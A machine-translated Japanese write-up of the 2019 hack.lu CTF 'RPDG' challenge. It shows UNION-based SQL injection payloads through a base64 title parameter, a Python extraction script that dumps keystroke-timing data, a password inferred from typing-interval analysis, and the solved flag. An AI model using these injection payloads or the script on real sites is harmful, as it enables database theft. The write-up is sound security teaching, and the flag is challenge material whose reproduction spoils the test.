2019 hack.lu CTF - RPDG Writeup
SQL Injectionと頻度分析によるadmin passwordの推測
この記事はAIによって韓国語から機械翻訳されています。原文と表現が異なる場合があります。
原文(韓国語)を読む[ Summary ]
まず、この問題はWEB+MISCだ。stage. 1はWeb、stage. 2はMISCとして解くことになるためだ。基本的にはsql injectionを通じて情報を獲得し、その後、頻度に基づいてadmin passwordを推測する問題である。
[ Vulnerability ]

メインページ
問題ページを見るとYouTube動画があり、その動画のサムネイル画像をクリックすると/open.php?title={Base64 encoded movie name}を介してYouTubeへ移動する。渡されるtitleパラメータをBase64デコードしてみるとリンクのアドレスではないため、内部データベースに情報がマッピングされており、そのパラメータの情報がDBに入ることが推測できる。
したがって、該当パラメータにsql injectionを試みると、以下のように実行できる。(thx to03sunf@defenitandJeonYoungSin@defenit)
/open.php?title=${base64.encode('"') union select 1,2,(select database()),4 -- ')}

sql injectionの脆弱性!
また、メインページにアクセスするとtracc.phpを通じてキーロガーが動作する(?)

キーロガーが仕込まれている?
メインページに入った後、他のページへ移動する際、/tracc.phpを通じてキーロガーのように自分が入力したキーがサーバーへ送信される。
それでは、発見されたsqli vulnを利用して、union select 1,2,group_concat(schema_name),4 from information_schema.schemataこのようにDBを一通りさらってみよう。
詳細
extracted value
#schema : rpdg#table : culture, tracking#column culture : id, link, title, year#column tracking : id, key, path, timestamp, user
これらのカラムを一通り抽出してみると、trackingカラムのkeyカラムが抽出されない。
union select 1,2,group_concat(x.key),4 from tracking as x(thx toJeonYoungSin@defenit)
一通り抽出すると、次のようなデータが得られる。
#-*-coding:utf-8-*-
import requests
import sys
import random
reload(sys)
sys.setdefaultencoding('utf-8')
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
from urllib import quote
u = 'https://rpdg.fluxfingersforfuture.fluxfingers.net/open.php?title={}'
#schema : rpdg
#table : culture, tracking
#column culture : id, link, title, year
#column tracking : id, kye, path, timestamp, user
s = requests.session()
num = 0
result = ''
t1 = 0
t2 = 0
while 1:
query = "\") union select 1,2,concat(x.key,':',x.timestamp),4 from tracking as x limit {},1 -- x".format(num).encode('base64')
r = s.get(u.format(query), verify=False)
#print dir(r)
if r.status_code==200:
print r.content
elif r.status_code==404:
t = r.url.split('https://rpdg.fluxfingersforfuture.fluxfingers.net/')[1]
t2 = int(t.split(':')[1])
with open('result.txt','a+') as f:
f.write('{}:{}\n'.format(t,t2-t1))
f.close()
t1 = t2
result += t
print '[{}] {}'.format(num,t)
else:
print r.content
num += 1
print result
抽出結果
ここまでがWeb hackingの領域で、これ以降はMiscの領域だ。
途中で問題を解いていて詰まっていた時にヒントが出たのだが、そのヒントがかなり決定的だった。
詳細
HINT: People tend to type key combinations faster if they use them frequently, like in their passwords for example.
一言で言えば、人は慣れ親しんだ単語を打つ時、タイピングする単語間の間隔が短くなるということだ。私たちがキーロガー(?)を通じて抽出した時間値をt2-t1形式で出してみると、200ms以下で打っている単語がある。
例えば、"arang"という単語を打つと仮定した時、私が普段よく打つ単語の組み合わせが"arang"なので、もし私が"language"という単語を打つなら、arangのangに慣れているため、他の英文字をタイピングする時よりもangをより速く打つということだ。
では、上記の抽出結果のように表現してみると、
詳細
l : 420 a : 414 n : 153 g : 148 u : 432 a : 514 g : 394 e : 412
このようになる。
したがって、このようにずっとタイピングの癖をtrackingしてみると、
詳細
gra ple equ wo le ing om ap ms ci suc grap
このような組み合わせが出る。
これをしりとりのように繋げてみるとwomsucingraplequが出てくる。
これがpasswordであると予測してログインすればflag獲得。
flag{GDPR_is_here_to_save_y'all}
コメント